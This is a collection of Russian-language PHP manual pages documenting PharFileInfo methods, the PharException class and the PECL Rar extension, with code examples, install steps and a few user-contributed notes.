  • Получить контрольную сумму CRC32

PharFileInfo::getCRC32

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

PharFileInfo::getCRC32 — Получить контрольную сумму CRC32

Описание

public PharFileInfo::getCRC32(): int

Возвращает контрольную сумму crc32() для файла в Phar-архиве.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Контрольная сумма crc32() для файла в Phar-архиве.

Ошибки

Выбрасывает исключение BadMethodCallException, если не удалось верифицировать контрольную сумму CRC32. Этого практически невозможно добиться при обычной работе, так как контрольная сумма проверяется при чтении и записи файла.

Примеры

Пример #1 Пример использования PharFileInfo::getCRC32()

<?php
try {
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$file = $p['myfile.txt'];
echo $file->getCRC32();
} catch (Exception $e) {
echo 'Операции записи на my.phar завершились ошибкой: ', $e;
}
?>

Результат выполнения данного примера:

3633523372

User Contributed Notes

There are no user contributed notes for this page.


Получить реальный занимаемый файлом размер на диске с учётом сжатия

  • « PharFileInfo::getCRC32
  • PharFileInfo::getContent »
  • PHP Manual
  • PharFileInfo
  • Получить реальный занимаемый файлом размер на диске с учётом сжатия

PharFileInfo::getCompressedSize

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

PharFileInfo::getCompressedSize — Получить реальный занимаемый файлом размер на диске с учётом сжатия

Описание

public PharFileInfo::getCompressedSize(): int

Возвращает реально занимаемое файлом место с учётом сжатия. Для несжатого файла вернётся такое же значение, что и с помощью filesize()

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Размер файла в байтах.

Примеры

Пример #1 Пример использования PharFileInfo::getCompressedSize()

<?php
try {
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$file = $p['myfile.txt'];
echo $file->getCompressedSize();
} catch (Exception $e) {
echo 'Операции записи на my.phar завершились ошибкой: ', $e;
}
?>

Результат выполнения данного примера:

2

Смотрите также

  • PharFileInfo::isCompressed() - Проверить, сжат ли файл
  • PharFileInfo::decompress() - Разжимает текущий файл
  • PharFileInfo::compress() - Сжать текущий файл с помощью zlib или bzip2
  • Phar::canCompress() - Проверяет, поддерживает ли модуль phar сжатие с использованием zlib или bzip2
  • Phar::isCompressed() - Возвращает Phar::GZ или PHAR::BZ2, если phar-архив сжат целиком (.tar.gz/tar.bz и так далее)
  • Phar::compress() - Сжимает весь Phar-архив с помощью Gzip- или Bzip2-сжатия
  • Phar::decompress() - Распаковывает весь Phar-архив
  • Phar::getSupportedCompression() - Возвращает массив поддерживаемых алгоритмов сжатия
  • Phar::decompressFiles() - Распаковывает все файлы в текущем Phar-архиве
  • Phar::compressFiles() - Сжимает все файлы в текущем Phar-архиве

User Contributed Notes

There are no user contributed notes for this page.


Получить полное содержимое файла записи

  • « PharFileInfo::getCompressedSize
  • PharFileInfo::getMetadata »
  • PHP Manual
  • PharFileInfo
  • Получить полное содержимое файла записи

PharFileInfo::getContent

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

PharFileInfo::getContent — Получить полное содержимое файла записи

Описание

public PharFileInfo::getContent(): string

Эта функция ведёт себя как file_get_contents(), но для Phar.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает содержимое файла.

User Contributed Notes

There are no user contributed notes for this page.


Получить метаданные, связанные с файлом

  • « PharFileInfo::getContent
  • PharFileInfo::getPharFlags »
  • PHP Manual
  • PharFileInfo
  • Получить метаданные, связанные с файлом

PharFileInfo::getMetadata

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

PharFileInfo::getMetadata — Получить метаданные, связанные с файлом

Описание

public PharFileInfo::getMetadata(array $unserializeOptions = []): mixed

Возвращает метаданные, связанные с файлом.

Список параметров

Возвращаемые значения

Любая переменная PHP, которая может быть сериализована и сохранена в виде метаданных файла, либо null, если метаданных нет.

Список изменений

Версия | Описание
8.0.0 | Добавлен параметр unserializeOptions.

Примеры

Пример #1 Пример использования PharFileInfo::getMetadata()

<?php
// удалим, на всякий случай
@unlink('brandnewphar.phar');
try {
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p['file.txt'] = 'hello';
$p['file.txt']->setMetadata(array('user' => 'bill', 'mime-type' => 'text/plain'));
var_dump($p['file.txt']->getMetadata());
} catch (Exception $e) {
echo 'Не удалось создать/изменить brandnewphar.phar: ', $e;
}
?>

Результат выполнения данного примера:

array(2) {
  ["user"]=>
  string(4) "bill"
  ["mime-type"]=>
  string(10) "text/plain"
}

Смотрите также

  • PharFileInfo::setMetadata() - Установка метаданных для конкретного файла
  • PharFileInfo::hasMetadata() - Проверить, есть ли у файла метаданные
  • PharFileInfo::delMetadata() - Удалить метаданные файла
  • Phar::setMetadata() - Установить метаданные phar-архива
  • Phar::hasMetadata() - Проверить, содержит ли phar-архив глобальные метаданные
  • Phar::getMetadata() - Извлечь метаданные phar-архива

User Contributed Notes

There are no user contributed notes for this page.


Получить флаги файла в phar-архиве

  • « PharFileInfo::getMetadata
  • PharFileInfo::hasMetadata »
  • PHP Manual
  • PharFileInfo
  • Получить флаги файла в phar-архиве

PharFileInfo::getPharFlags

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

PharFileInfo::getPharFlags — Получить флаги файла в phar-архиве

Описание

public PharFileInfo::getPharFlags(): int

Возвращает набор флагов, заданных в манифесте Phar-архива. В текущей реализации всегда возвращает 0.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Флаги Phar-архива (пока всегда 0)

Примеры

Пример #1 Пример использования PharFileInfo::getPharFlags()

<?php
try {
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$file = $p['myfile.txt'];
var_dump($file->getPharFlags());
} catch (Exception $e) {
echo 'Не удалось создать/изменить my.phar: ', $e;
}
?>

Результат выполнения данного примера:

int(0)

User Contributed Notes

There are no user contributed notes for this page.


Проверить, есть ли у файла метаданные

  • « PharFileInfo::getPharFlags
  • PharFileInfo::isCRCChecked »
  • PHP Manual
  • PharFileInfo
  • Проверить, есть ли у файла метаданные

PharFileInfo::hasMetadata

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.2.0)

PharFileInfo::hasMetadata — Проверить, есть ли у файла метаданные

Описание

public PharFileInfo::hasMetadata(): bool

Проверяет, есть ли у файла метаданные.

Список параметров

Нет параметров.

Возвращаемые значения

Возвращает false или true (метаданные, равные null, считаются за отсутствие метаданных)

Смотрите также

  • PharFileInfo::setMetadata() - Установка метаданных для конкретного файла
  • PharFileInfo::getMetadata() - Получить метаданные, связанные с файлом
  • PharFileInfo::delMetadata() - Удалить метаданные файла
  • Phar::setMetadata() - Установить метаданные phar-архива
  • Phar::hasMetadata() - Проверить, содержит ли phar-архив глобальные метаданные
  • Phar::getMetadata() - Извлечь метаданные phar-архива

User Contributed Notes

There are no user contributed notes for this page.


Определить, прошёл ли файл проверку CRC

  • « PharFileInfo::hasMetadata
  • PharFileInfo::isCompressed »
  • PHP Manual
  • PharFileInfo
  • Определить, прошёл ли файл проверку CRC

PharFileInfo::isCRCChecked

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

PharFileInfo::isCRCChecked — Определить, прошёл ли файл проверку CRC

Описание

public PharFileInfo::isCRCChecked(): bool

Определяет, прошёл ли файл проверку CRC.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если файл прошёл проверку CRC, false в противном случае.

Примеры

Пример #1 Пример использования PharFileInfo::isCRCChecked()

<?php
try {
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$file = $p['myfile.txt'];
var_dump($file->isCRCChecked());
} catch (Exception $e) {
echo 'Не удалось создать/изменить my.phar: ', $e;
}
?>

Результат выполнения данного примера:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Проверить, сжат ли файл

  • « PharFileInfo::isCRCChecked
  • PharFileInfo::setMetadata »
  • PHP Manual
  • PharFileInfo
  • Проверить, сжат ли файл

PharFileInfo::isCompressed

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

PharFileInfo::isCompressed — Проверить, сжат ли файл

Описание

public PharFileInfo::isCompressed(?int $compression = null): bool

Проверяет, сжат ли файл внутри Phar-архива с помощью Gzip или Bzip2.

Список параметров

compression

Одна из констант Phar::GZ или Phar::BZ2. По умолчанию - любой тип сжатия.

Возвращаемые значения

true, если файл сжат и false в противном случае.

Список изменений

Версия | Описание
8.0.0 | compression теперь допускает значение null.

Примеры

Пример #1 Пример использования PharFileInfo::isCompressed()

<?php
try {
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
$p['myfile.txt'] = 'hi';
$p['myfile2.txt'] = 'hi';
$p['myfile2.txt']->setCompressedGZ();
$file = $p['myfile.txt'];
$file2 = $p['myfile2.txt'];
var_dump($file->isCompressed());
var_dump($file2->isCompressed());
} catch (Exception $e) {
echo 'Не удалось создать/изменить phar my.phar: ', $e;
}
?>

Результат выполнения данного примера:

bool(false)
bool(true)

Смотрите также

  • PharFileInfo::getCompressedSize() - Получить реальный занимаемый файлом размер на диске с учётом сжатия
  • PharFileInfo::decompress() - Разжимает текущий файл
  • PharFileInfo::compress() - Сжать текущий файл с помощью zlib или bzip2
  • Phar::decompress() - Распаковывает весь Phar-архив
  • Phar::compress() - Сжимает весь Phar-архив с помощью Gzip- или Bzip2-сжатия
  • Phar::canCompress() - Проверяет, поддерживает ли модуль phar сжатие с использованием zlib или bzip2
  • Phar::isCompressed() - Возвращает Phar::GZ или PHAR::BZ2, если phar-архив сжат целиком (.tar.gz/tar.bz и так далее)
  • Phar::getSupportedCompression() - Возвращает массив поддерживаемых алгоритмов сжатия
  • Phar::decompressFiles() - Распаковывает все файлы в текущем Phar-архиве
  • Phar::compressFiles() - Сжимает все файлы в текущем Phar-архиве

User Contributed Notes

There are no user contributed notes for this page.


Установка метаданных для конкретного файла

  • « PharFileInfo::isCompressed
  • PharException »
  • PHP Manual
  • PharFileInfo
  • Установка метаданных для конкретного файла

PharFileInfo::setMetadata

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

PharFileInfo::setMetadata — Установка метаданных для конкретного файла

Описание

public PharFileInfo::setMetadata(mixed $metadata): void

PharFileInfo::setMetadata() следует использовать для сохранения метаданных конкретного файла, которые нельзя хранить внутри самого файла, поскольку, если данных много, либо в принципе много файлов с метаданными - это значительно замедляет загрузку phar-архива. Важно помнить, что phar-архивы из коробки поддерживают права на файлы и их можно задать с помощью метода PharFileInfo::chmod(). Так как эта функциональность изменяет phar-архив, необходимо, чтобы опция phar.readonly была отключена, иначе внести изменения в архив Phar не получится. На архивы PharData ограничение на запись не распространяется.

Метаданные файлов можно использовать, например, для указания, какие права надо назначить файлу при экспорте его на диск, или для указания MIME-типа, который он возвращает. В общем - любая полезная информация, которой не место внутри самого файла.

Список параметров

metadata

Любая переменная PHP, содержащая необходимую информацию

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования PharFileInfo::setMetadata()

<?php
// удалим, на всякий случай
@unlink('brandnewphar.phar');
try {
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p['file.txt'] = 'hello';
$p['file.txt']->setMetadata(array('user' => 'bill', 'mime-type' => 'text/plain'));
var_dump($p['file.txt']->getMetaData());
} catch (Exception $e) {
echo 'Не удалось создать/изменить phar: ', $e;
}
?>

Результат выполнения данного примера:

array(2) {
  ["user"]=>
  string(4) "bill"
  ["mime-type"]=>
  string(10) "text/plain"
}

Смотрите также

  • PharFileInfo::hasMetadata() - Проверить, есть ли у файла метаданные
  • PharFileInfo::getMetadata() - Получить метаданные, связанные с файлом
  • PharFileInfo::delMetadata() - Удалить метаданные файла
  • Phar::setMetadata() - Установить метаданные phar-архива
  • Phar::hasMetadata() - Проверить, содержит ли phar-архив глобальные метаданные
  • Phar::getMetadata() - Извлечь метаданные phar-архива

User Contributed Notes

There are no user contributed notes for this page.


Класс PharException

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL phar >= 1.0.0)

Введение

Класс PharException предоставляет класс исключения модуля phar для блоков try/catch.

Обзор классов

class PharException extends Exception {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Exception::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


Архивирование Rar

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • Rar
    • rar_wrapper_cache_stats — Кеш доступов и отказов обёртки URL
  • RarArchive — Класс RarArchive
    • RarArchive::close — Закрывает RAR архив и освобождает все ресурсы
    • RarArchive::getComment — Получить текст комментария из архива RAR
    • RarArchive::getEntries — Возвращает полный список элементов из RAR архива
    • RarArchive::getEntry — Возвращает объект элемента из RAR архива
    • RarArchive::isBroken — Проверяет, не сломан ли архив (не завершён)
    • RarArchive::isSolid — Проверить, является ли архив сплошным
    • RarArchive::open — Открывает архив RAR
    • RarArchive::setAllowBroken — Открывать ли повреждённые архивы
    • RarArchive::__toString — Получить текстовое представление
  • RarEntry — Класс RarEntry
    • RarEntry::extract — Извлекает элемент из архива
    • RarEntry::getAttr — Возвращает атрибуты элемента архива
    • RarEntry::getCrc — Возвращает CRC элемента архива
    • RarEntry::getFileTime — Возвращает последнее время изменения элемента
    • RarEntry::getHostOs — Возвращает оригинальную ОС элемента
    • RarEntry::getMethod — Возвращает метод компрессии элемента
    • RarEntry::getName — Возвращает имя элемента
    • RarEntry::getPackedSize — Возвращает размер сжатого элемента
    • RarEntry::getStream — Получить обработчик для записи
    • RarEntry::getUnpackedSize — Возвращает размер элемента в распакованном состоянии
    • RarEntry::getVersion — Возвращает минимальную версию программы RAR, необходимую для распаковки элемента
    • RarEntry::isDirectory — Проверяет, является ли запись директорией
    • RarEntry::isEncrypted — Проверяет, зашифрована ли запись
    • RarEntry::__toString — Получить текстовое представление записи
  • RarException — Класс RarException
    • RarException::isUsingExceptions — Проверить, будут ли функции возвращать ошибки или выбрасывать исключения
    • RarException::setUsingExceptions — Включить или отключить генерацию исключений вместо возвращения ошибок

User Contributed Notes

There are no user contributed notes for this page.


Введение

Rar - это мощный и эффективный архиватор, созданный Евгением Рошалем. Данный модуль позволяет читать Rar-архивы, однако не даёт возможности их записывать, так как эта операция не поддерживается библиотекой UnRar и напрямую запрещена условиями её лицензии.

Больше информации о Rar и UnRar можно найти здесь: » http://www.rarlabs.com/.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Модуль Rar в настоящее время доступен в PECL » https://pecl.php.net/package/rar.

Вы также можете воспользоваться установщиком PECL, чтобы установить модуль Rar. Для этого необходимо использовать команду: pecl -v install rar.

Также вы можете скачать архив tar.gz и установить Rar вручную:

Пример #1 Установка Rar

gunzip rar-xxx.tgz
tar -xvf rar-xxx.tar
cd rar-xxx
phpize
./configure && make && make install

Пользователям Windows необходимо включить php_rar.dll в php.ini. DLL для этого модуля PECL в данный момент недоступна. Смотрите также раздел сборка на Windows.

User Contributed Notes

ohcc at 163 dot com 07-Nov-2015 07:17
Windows users download php_rar.dll at http://pecl.php.net/package/rar

0. click the DLL link for Windows

1. download php_rar.dll for your php version

2. copy php_rar.dll to the "ext" folder

3. append the following directive to the [php] section of your working php.ini, you can search "extension=" and append it to the last extension directive.

extension=php_rar.dll

4. restart your web server and enjoy.
t dot dekker at student dot utwente dot nl 04-Dec-2011 01:54
Easiest way to install the current version for PHP5 on Debian is as below. You may need additional packages if you don't have the basics like GCC installed. Also, start in a temporary directory since many junk files are created.

sudo apt-get install php5-dev dh-make-php fakeroot xsltproc
dh-make-pecl --only 5 rar
cd php-rar-3.0.0
dpkg-buildpackage
sudo dpkg -i ../php5-rar_3.0.0-1_amd64.deb
cristianbzdg at botosani dot ro 27-Nov-2010 08:21
After installing RAR 2.0.0 extension in PHP 5.3.3 on OpenSUSE 11.3 using pecl command line, i had to enable it by creating a file named
/etc/php5/conf.d/rar.ini
which contains this line
extension=rar.so


Типы ресурсов

Этот модуль использует три внутренних ресурса: дескриптор файла, возвращаемый функцией rar_open() - RarArchive, содержимое архива, возвращаемое функциями rar_list() и rar_entry_get() - RarEntry и тип исключений RarException.

Этот модуль также регистрирует потоковый ресурс, называемый "rar", и обёртку URL, называемую "rar wrapper", и соответствующий ей префикс "rar".

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

RAR_HOST_MSDOS (int)
Используйте вместо неё константу RarEntry::HOST_MSDOS.
RAR_HOST_OS2 (int)
Используйте вместо неё константу RarEntry::HOST_OS2.
RAR_HOST_WIN32 (int)
Используйте вместо неё константу RarEntry::HOST_WIN32.
RAR_HOST_UNIX (int)
Используйте вместо неё константу RarEntry::HOST_UNIX.
RAR_HOST_BEOS (int)
Используйте вместо неё константу RarEntry::HOST_BEOS.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Также смотрите примеры по ссылке rar:// wrapper.

Пример #1 Декомпрессия на лету

<?php

if (!array_key_exists("i", $_GET) || !is_numeric($_GET["i"]))
die("Индекс не указан или не числовой");
$index = (int) $_GET["i"];

$arch = RarArchive::open("example.rar");
if ($arch === FALSE)
die("Невозможно открыть example.rar");

$entries = $arch->getEntries();
if ($entries === FALSE)
die("Невозможно получить записи");

if (!array_key_exists($index, $entries))
die("Нет такого индекса: $index");

$orfilename = $entries[$index]->getName(); //Кодировка UTF-8

$filesize = $entries[$index]->getUnpackedSize();

/* Вы можете здесь проверить константу HTTP_IF_MODIFIED_SINCE и сравнить с
* $entries[$index]->getFileTime(). Также возможно отослать заголовок
* "Last modified" */

$fp = $entries[$index]->getStream();
if ($fp === FALSE)
die("Невозможно открыть файл с индексом $index внутри архива.");

$arch->close(); // Больше не нужен. Поток является независимым

function detectUserAgent() {
if (!array_key_exists('HTTP_USER_AGENT', $_SERVER))
return "Other";

$uas = $_SERVER['HTTP_USER_AGENT'];
if (preg_match("@Opera/@", $uas))
return "Opera";
if (preg_match("@Firefox/@", $uas))
return "Firefox";
if (preg_match("@Chrome/@", $uas))
return "Chrome";
if (preg_match("@MSIE ([0-9.]+);@", $uas, $matches)) {
if (((float)$matches[1]) >= 7.0)
return "IE";
}

return "Other";
}

/*
* Действуют 3 опции:
* - Для FF и Opera, с поддержкой RFC 2231, используется этот формат.
* - Для IE и Chrome, используется attwithfnrawpctenclong
* (http://greenbytes.de/tech/tc2231/#attwithfnrawpctenclong)
* - Для других браузеров, перекодируется в ISO-8859-1, если возможно
*/
$formatRFC2231 = 'Content-Disposition: attachment; filename*=UTF-8\'\'%s';
$formatDef = 'Content-Disposition: attachment; filename="%s"';

switch (detectUserAgent()) {
case "Opera":
case "Firefox":
$orfilename = rawurlencode($orfilename);
$format = $formatRFC2231;
break;

case "IE":
case "Chrome":
$orfilename = rawurlencode($orfilename);
$format = $formatDef;
break;
default:
if (function_exists('iconv'))
$orfilename =
@iconv("UTF-8", "ISO-8859-1//TRANSLIT", $orfilename);
$format = $formatDef;
}

header(sprintf($format, $orfilename));
//Невозможна дальнейшая отсылка сообщений об ошибках (заголовки уже отправлены)

//Замена на реальный content type, возможно определённый по расширению файла
$contentType = "application/octet-stream";
header("Content-Type: $contentType");

header("Content-Transfer-Encoding: binary");

header("Content-Length: $filesize");

if ($_SERVER['REQUEST_METHOD'] == "HEAD")
die();

while (!feof($fp)) {
$s = @fread($fp, 8192);
if ($s === false)
break; //тут бесполезно отправлять сообщения об ошибках

echo $s;
}
?>

Этот пример открывает RAR-файл и предоставляет запрошенный файл вне RAR-архива для загрузки клиентом.

Пример #2 Пример извлечения перечня файлов и директорий из RAR-архива

<?php

$rar_file = rar_open('example.rar') or die("Невозможно открыть RAR архив");

$entries = rar_list($rar_file);

foreach ($entries as $entry) {
echo 'Имя файла: ' . $entry->getName() . "\n";
echo 'Упакованный размер: ' . $entry->getPackedSize() . "\n";
echo 'Распакованный размер: ' . $entry->getUnpackedSize() . "\n";

$entry->extract('/dir/extract/to/');
}

rar_close($rar_file);

?>

Этот пример открывает RAR-файл и извлекает каждый объект в указанную директорию.

User Contributed Notes

Nitrogen 17-Nov-2010 08:43
A veeery simple function to RAR files, I'm not proud of it.
Since there's no way to create RAR files in PHP (due to licensing, patents or whatever), I'm taking some advantage from the command-line RARing tool that comes with WinRAR (in the WinRAR program files named "rar.exe").

<?php
function RARFiles($Output='output.rar',$Files=array()) {
  $Data='';
  for($i=0;$i<count($Files);$i++)
    $Data.="\"{$Files[$i]}\" ";
  exec("rar.exe a \"{$Output}\" {$Data}");
}

$Files=array('file1.ext','file2.ext','file3.ext');
RARFiles('asdf.rar',$Files);
// asdf.rar created.
?>

There's no error checking, so make sure you check that your expected RAR file exists before doing anything with it.
Hopefully one day, PHP will be able to be allowed to create RAR files.


Rar

Содержание

  • rar_wrapper_cache_stats — Кеш доступов и отказов обёртки URL

User Contributed Notes

There are no user contributed notes for this page.


Кеш доступов и отказов обёртки URL

  • « Rar
  • RarArchive »
  • PHP Manual
  • Rar
  • Кеш доступов и отказов обёртки URL

rar_wrapper_cache_stats

(PECL rar >= 3.0.0)

rar_wrapper_cache_stats — Кеш доступов и отказов обёртки URL

Описание

rar_wrapper_cache_stats(): string

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс RarArchive

(PECL rar >= 2.0.0)

Введение

Этот класс описывает RAR архив, который может состоять из нескольких томов (частей) и содержать некоторое число RAR записей (файлы, директории и другие специальные объекты, такие как символические ссылки).

Объекты этого класса могут быть заполнены перебором исходя из записей, хранящихся в соответствующем RAR архиве. Эти записи могут быть также получены с помощью методов RarArchive::getEntry() и RarArchive::getEntries().

Обзор классов

final class RarArchive implements Traversable {
/* Методы */
public close(): bool
public getComment(): string
public getEntries(): array|false
public getEntry(string $entryname): RarEntry|false
public isBroken(): bool
public isSolid(): bool
public static open(string $filename, string $password = NULL, callable $volume_callback = NULL): RarArchive|false
public setAllowBroken(bool $allow_broken): bool
public __toString(): string
}

Содержание

  • RarArchive::close — Закрывает RAR архив и освобождает все ресурсы
  • RarArchive::getComment — Получить текст комментария из архива RAR
  • RarArchive::getEntries — Возвращает полный список элементов из RAR архива
  • RarArchive::getEntry — Возвращает объект элемента из RAR архива
  • RarArchive::isBroken — Проверяет, не сломан ли архив (не завершён)
  • RarArchive::isSolid — Проверить, является ли архив сплошным
  • RarArchive::open — Открывает архив RAR
  • RarArchive::setAllowBroken — Открывать ли повреждённые архивы
  • RarArchive::__toString — Получить текстовое представление

User Contributed Notes

There are no user contributed notes for this page.


Закрывает RAR архив и освобождает все ресурсы

  • « RarArchive
  • RarArchive::getComment »
  • PHP Manual
  • RarArchive
  • Закрывает RAR архив и освобождает все ресурсы

RarArchive::close

rar_close

(PECL rar >= 2.0.0)

RarArchive::close -- rar_close — Закрывает RAR архив и освобождает все ресурсы

Описание

Объектно-ориентированный стиль (метод):

public RarArchive::close(): bool

Процедурный стиль:

rar_close(RarArchive $rarfile): bool

Закрывает RAR архив и освобождает все ресурсы связанные с ним.

Список параметров

rarfile

Объект RarArchive, открытый с помощью rar_open().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL rar 2.0.0 | Элементы архива, возвращаемые RarArchive::getEntry() и RarArchive::getEntries() теперь недействительны после вызова данного метода. Это означает, что нет гарантии правильной работы всех методов этих элементов.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
$rar_arch = RarArchive::open('latest_winrar.rar');
echo $rar_arch."\n";
$rar_arch->close();
echo $rar_arch."\n";
?>

Результатом выполнения данного примера будет что-то подобное:

RAR Archive "D:\php_rar\trunk\tests\latest_winrar.rar"
RAR Archive "D:\php_rar\trunk\tests\latest_winrar.rar" (closed)

Пример #2 Процедурный стиль

<?php
$rar_arch = rar_open('latest_winrar.rar');
echo $rar_arch."\n";
rar_close($rar_arch);
echo $rar_arch."\n";
?>

User Contributed Notes

There are no user contributed notes for this page.


Получить текст комментария из архива RAR

  • « RarArchive::close
  • RarArchive::getEntries »
  • PHP Manual
  • RarArchive
  • Получить текст комментария из архива RAR

RarArchive::getComment

rar_comment_get

(PECL rar >= 2.0.0)

RarArchive::getComment -- rar_comment_get — Получить текст комментария из архива RAR

Описание

Объектно-ориентированный стиль (метод):

public RarArchive::getComment(): string

Процедурный стиль:

rar_comment_get(RarArchive $rarfile): string

Возвращает (глобальный) комментарий, сохранённый в архиве RAR. Он может быть длиной вплоть до 64 KiB.

Замечание:

Модуль не поддерживает комментарии на уровне записей.

Список параметров

rarfile

Объект RarArchive, открытый с помощью rar_open().

Возвращаемые значения

Возвращает комментарий или null, если его нет.

Замечание:

RAR в текущий момент не поддерживает комментарии в unicode. Кодировка результата не определена, но, возможно, она будет Windows-1252.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
$rar_arch = RarArchive::open('commented.rar');
echo $rar_arch->getComment();
?>

Результатом выполнения данного примера будет что-то подобное:

This is the comment of the file commented.rar.

Пример #2 Процедурный стиль

<?php
$rar_arch = rar_open('commented.rar');
echo rar_comment_get($rar_arch);
?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает полный список элементов из RAR архива

  • « RarArchive::getComment
  • RarArchive::getEntry »
  • PHP Manual
  • RarArchive
  • Возвращает полный список элементов из RAR архива

RarArchive::getEntries

rar_list

(PECL rar >= 2.0.0)

RarArchive::getEntries -- rar_list — Возвращает полный список элементов из RAR архива

Описание

Объектно-ориентированный стиль (метод):

public RarArchive::getEntries(): array|false

Процедурный стиль:

rar_list(RarArchive $rarfile): array|false

Возвращает элементы (файлы и директории) из RAR архива.

Замечание:

Если архив имеет элементы с одинаковым именем, то этот метод совместно с циклом foreach по RarArchive и доступом к нему как к массиву с числовыми индексами являются единственными способами получить доступ к этим элементам (т.е. RarArchive::getEntry() и rar:// обработчик (wrapper) не помогут).

Список параметров

rarfile

Объект RarArchive открытый с помощью rar_open().

Возвращаемые значения

rar_list() возвращает массив объектов RarEntry или false в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL rar 3.0.0 | Исправлена поддержка RAR архивов с повторяющимися именами элементов.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
$rar_arch = RarArchive::open('solid.rar');
if ($rar_arch === FALSE)
die("Не смог открыть RAR архив.");

$rar_entries = $rar_arch->getEntries();
if ($rar_entries === FALSE)
die("Не смог достать содержимое.");

echo "Нашёл " . count($rar_entries) . " объектов.\n";

foreach ($rar_entries as $e) {
echo $e;
echo "\n";
}
$rar_arch->close();
?>

Результатом выполнения данного примера будет что-то подобное:

Нашёл 2 объектов.
RarEntry for file "tese.txt" (23b93a7a)
RarEntry for file "unrardll.txt" (2ed64b6e)

Пример #2 Процедурный стиль

<?php
$rar_arch = rar_open('solid.rar');
if ($rar_arch === FALSE)
die("Could not open RAR archive.");

$rar_entries = rar_list($rar_arch);
if ($rar_entries === FALSE)
die("Could retrieve entries.");

echo "Found " . count($rar_entries) . " entries.\n";

foreach ($rar_entries as $e) {
echo $e;
echo "\n";
}
rar_close($rar_arch);
?>

Смотрите также

  • RarArchive::getEntry() - Возвращает объект элемента из RAR архива
  • rar:// обработчик(wrapper)

User Contributed Notes

Anonymous 19-Nov-2014 02:49
at the examples line 7 should be:
    die("Could NOT retrieve entries.");
grap at hot dot ee 24-Jan-2013 02:01
Can be usefult for many, probably:
<?php
$path  = 'path/to/archive';

$archive = RarArchive::open($path);
$list       = $archive ->getEntries();
foreach ($list as $entity) {
    //print just title of file from archive(use getters to access other fields, etc)
    echo $value->getName();
}
?>


Возвращает объект элемента из RAR архива

  • « RarArchive::getEntries
  • RarArchive::isBroken »
  • PHP Manual
  • RarArchive
  • Возвращает объект элемента из RAR архива

RarArchive::getEntry

rar_entry_get

(PECL rar >= 2.0.0)

RarArchive::getEntry -- rar_entry_get — Возвращает объект элемента из RAR архива

Описание

Объектно-ориентированный стиль (метод):

public RarArchive::getEntry(string $entryname): RarEntry|false

Процедурный стиль:

rar_entry_get(RarArchive $rarfile, string $entryname): RarEntry|false

Возвращает объект элемента (файл или директорию) из RAR архива

Замечание:

Вы также можете получить объекты элементов с помощью RarArchive::getEntries().

Учтите, что RAR архив может иметь несколько элементов с одинаковым именем. Данный метод вернёт только первый из них.

Список параметров

rarfile

Объект RarArchive открытый с помощью rar_open().

entryname

Путь до элемента RAR архива.

Замечание:

Путь должен быть таким же, как и возвращаемый методом RarEntry::getName().

Возвращаемые значения

Возвращает найденный объект RarEntry или false в случае возникновения ошибки.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
$rar_arch = RarArchive::open('solid.rar');
if ($rar_arch === FALSE)
die("Не смог открыть RAR архив.");
$rar_entry = $rar_arch->getEntry('tese.txt');
if ($rar_entry === FALSE)
die("Не смог достать этот объект");
echo get_class($rar_entry)."\n";
echo $rar_entry;
$rar_arch->close();
?>

Результатом выполнения данного примера будет что-то подобное:

RarEntry
RarEntry for file "tese.txt" (23b93a7a)

